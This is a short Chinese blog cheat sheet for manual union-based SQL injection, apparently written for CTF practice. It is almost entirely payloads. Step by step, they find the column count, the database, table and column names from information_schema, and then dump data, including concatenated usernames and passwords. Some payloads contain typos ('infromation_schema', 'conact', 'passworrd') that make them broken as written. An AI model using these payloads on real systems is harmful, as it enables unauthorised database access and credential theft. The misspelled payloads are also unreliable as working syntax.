sql注入





手动注入:
1、获取列数:
' union select 1#
' union select 1,2#
' union select 1,2,3#
......
或者
id=1'order by 1 --+
id=1'order by 2 --+
......
直至出现报错
2、获取库名:
' union select database(),2 --+
3、获取表名:
' union select table_name,2 from information_schema.tables where table_schema='得到的库名'--+
4、获取列:
' union select column_name,2 from infromation_schema.columns where table_name='users'--+
或
' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='表名'--+
例如:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
5、获取数据
获取单个字段:
'union select 字段1,1 from 表名--+
获取两个字段:
' union select 字段1,字段2,1 from 表名--+
' union select 1,2,(select group_concat(username,":",passworrd) from 表名)--+
使用group_concat的原因


获取全部数据:
conact函数
' union select user,conact(first_name,' ',last_name,' ',password) from users --+




浙公网安备 33010602011771号